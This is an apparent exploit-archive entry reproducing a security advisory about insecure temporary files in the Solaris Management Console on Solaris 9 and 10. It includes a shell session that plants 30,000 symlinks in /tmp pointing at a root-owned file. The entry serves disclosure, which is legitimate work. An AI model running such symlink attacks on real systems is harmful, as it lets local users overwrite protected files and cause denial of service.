22 lines
No EOL
703 B
Bash
Executable file
22 lines
No EOL
703 B
Bash
Executable file
source: https://www.securityfocus.com/bid/41642/info
|
|
|
|
The 'Solaris Management Console' sub component of Oracle Solaris creates temporary files in an insecure manner.
|
|
|
|
An attacker with local access can exploit this issue to overwrite arbitrary files. This may result in denial-of-service conditions or could aid in other attacks.
|
|
|
|
Solaris 9 and 10 are affected.
|
|
|
|
$ id
|
|
uid=101(fstuart) gid=14(sysadmin)
|
|
$ cd /tmp
|
|
$ x=0
|
|
$ while [ "$x" -ne 30000 ] ;do
|
|
> ln -s /etc/important /tmp/dummy.$x
|
|
> x=$(expr "$x" + 1)
|
|
> done
|
|
$ ls -dl /etc/important
|
|
-rw-r--r-- 1 root root 38 Jan 3 22:43 /etc/important
|
|
$ cat /etc/important
|
|
This is an important file!
|
|
|
|
EOF |